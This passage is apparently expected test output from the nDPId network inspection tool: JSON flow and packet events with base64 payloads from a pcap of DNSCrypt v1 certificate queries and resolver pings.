failed","datalink":1,"packet_id":330,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739317496883} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":330,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739317496872,"pkt":"REREREREZmZmZmZmCABFAABQbtEAub0RLusKAAABLUxxHwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":331,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739317496886} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":331,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739317496872,"pkt":"REREREREZmZmZmZmCABFAABQbtAAub0RLuwKAAABLUxxHwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00768{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":332,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":2,"flow_src_last_pkt_time":946739317496865,"flow_dst_last_pkt_time":946739317810353,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"thread_ts_usec":946739317810353,"pkt":"ZmZmZmZmRERERERECABFAADSA+ZAAC8R6A0tTHEfCgAAAQG7qwAAvmKSZBWBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAr5zEv1WGx7jem2pK2nflqiaMVF6rzF7WHGlvrWl\/ySW6UfM8aTB84zwXL6LFGFBJtiDl\/1MLBjf7\/4+Tj2baBU4DeMBZ\/3\/bX+\/ckKf+At437jBg5+agLK3mfgxAT218TgN4wFn\/f9sAAAABX1NRj19Uow8="} 00768{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":333,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":2,"flow_src_last_pkt_time":946739317496759,"flow_dst_last_pkt_time":946739317819516,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"thread_ts_usec":946739317819516,"pkt":"ZmZmZmZmRERERERECABFAADSA+dAAC8R6AwtTHEfCgAAAQG7yYUAvkQLZBeBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAr5zEv1WGx7jem2pK2nflqiaMVF6rzF7WHGlvrWl\/ySW6UfM8aTB84zwXL6LFGFBJtiDl\/1MLBjf7\/4+Tj2baBU4DeMBZ\/3\/bX+\/ckKf+At437jBg5+agLK3mfgxAT218TgN4wFn\/f9sAAAABX1NRj19Uow8="} 00768{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":334,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":2,"flow_src_last_pkt_time":946739317496868,"flow_dst_last_pkt_time":946739317819696,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"thread_ts_usec":946739317819696,"pkt":"ZmZmZmZmRERERERECABFAADSA+tAAC8R6AgtTHEfCgAAAQG76TsAviRYZBSBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAr5zEv1WGx7jem2pK2nflqiaMVF6rzF7WHGlvrWl\/ySW6UfM8aTB84zwXL6LFGFBJtiDl\/1MLBjf7\/4+Tj2baBU4DeMBZ\/3\/bX+\/ckKf+At437jBg5+agLK3mfgxAT218TgN4wFn\/f9sAAAABX1NRj19Uow8="} @@ -680,18 +580,12 @@ 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":340,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":135,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318038059,"flow_src_last_pkt_time":946739318038059,"flow_dst_last_pkt_time":946739318038059,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318038059,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":47729,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":340,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":135,"flow_packet_id":1,"flow_src_last_pkt_time":946739318038059,"flow_dst_last_pkt_time":946739318038059,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739318038059,"pkt":"REREREREZmZmZmZmCABFAAXc+3QgAL0Rpj8KAAABl1DeT7pxAbsGBJ0gXC0BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAdvcGVubmljBGkycGQDeHl6AAAQAAEAAAAAAAAAAAAFvwAMBbsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":340,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":135,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318038059,"flow_src_last_pkt_time":946739318038059,"flow_dst_last_pkt_time":946739318038059,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318038059,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":47729,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":341,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739318038062} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":341,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739318038059,"pkt":"REREREREZmZmZmZmCABFAABQ+3MAub0RyxMKAAABl1DeTwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":342,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739318038076} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":342,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739318038059,"pkt":"REREREREZmZmZmZmCABFAABQ+3QAub0RyxIKAAABl1DeTwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00776{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":343,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":136,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318038155,"flow_src_last_pkt_time":946739318038155,"flow_dst_last_pkt_time":946739318038155,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318038155,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":52040,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":343,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":1,"flow_src_last_pkt_time":946739318038155,"flow_dst_last_pkt_time":946739318038155,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739318038155,"pkt":"REREREREZmZmZmZmCABFAAIc+3VAAL0Rif4KAAABl1DeT8tIAbsCCDh2XDABAAABAAAAAAABATINZG5zY3J5cHQtY2VydAdvcGVubmljBGkycGQDeHl6AAAQAAEAAAAAAAAAAAABwwAMAb8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00881{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":343,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":136,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318038155,"flow_src_last_pkt_time":946739318038155,"flow_dst_last_pkt_time":946739318038155,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318038155,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":52040,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":344,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":137,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318038168,"flow_src_last_pkt_time":946739318038168,"flow_dst_last_pkt_time":946739318038168,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318038168,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":57636,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":344,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":1,"flow_src_last_pkt_time":946739318038168,"flow_dst_last_pkt_time":946739318038168,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739318038168,"pkt":"REREREREZmZmZmZmCABFAAXc+3YgAL0Rpj0KAAABl1DeT+EkAbsGBHZpXDEBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAdvcGVubmljBGkycGQDeHl6AAAQAAEAAAAAAAAAAAAFvwAMBbsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":344,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":137,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318038168,"flow_src_last_pkt_time":946739318038168,"flow_dst_last_pkt_time":946739318038168,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318038168,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":57636,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":345,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739318038185} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":345,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739318038168,"pkt":"REREREREZmZmZmZmCABFAABQ+3YAub0RyxAKAAABl1DeTwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00776{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":346,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":138,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318038215,"flow_src_last_pkt_time":946739318038215,"flow_dst_last_pkt_time":946739318038215,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318038215,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":38511,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":346,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":138,"flow_packet_id":1,"flow_src_last_pkt_time":946739318038215,"flow_dst_last_pkt_time":946739318038215,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739318038215,"pkt":"REREREREZmZmZmZmCABFAAIc+3dAAL0RifwKAAABl1DeT5ZvAbsCCDh2XC4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAdvcGVubmljBGkycGQDeHl6AAAQAAEAAAAAAAAAAAABwwAMAb8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00881{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":346,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":138,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318038215,"flow_src_last_pkt_time":946739318038215,"flow_dst_last_pkt_time":946739318038215,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318038215,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"151.80.222.79","src_port":38511,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} @@ -706,19 +600,13 @@ 00775{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":351,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":141,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739318061081,"flow_src_last_pkt_time":946739318061081,"flow_dst_last_pkt_time":946739318061081,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739318061081,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.205.47","src_port":40138,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":351,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":141,"flow_packet_id":1,"flow_src_last_pkt_time":946739318061081,"flow_dst_last_pkt_time":946739318061081,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739318061081,"pkt":"REREREREZmZmZmZmCABFAAIcXcpAAL0RQhYKAAABjgTNL5zKAbsCCB4KqloBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczQCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA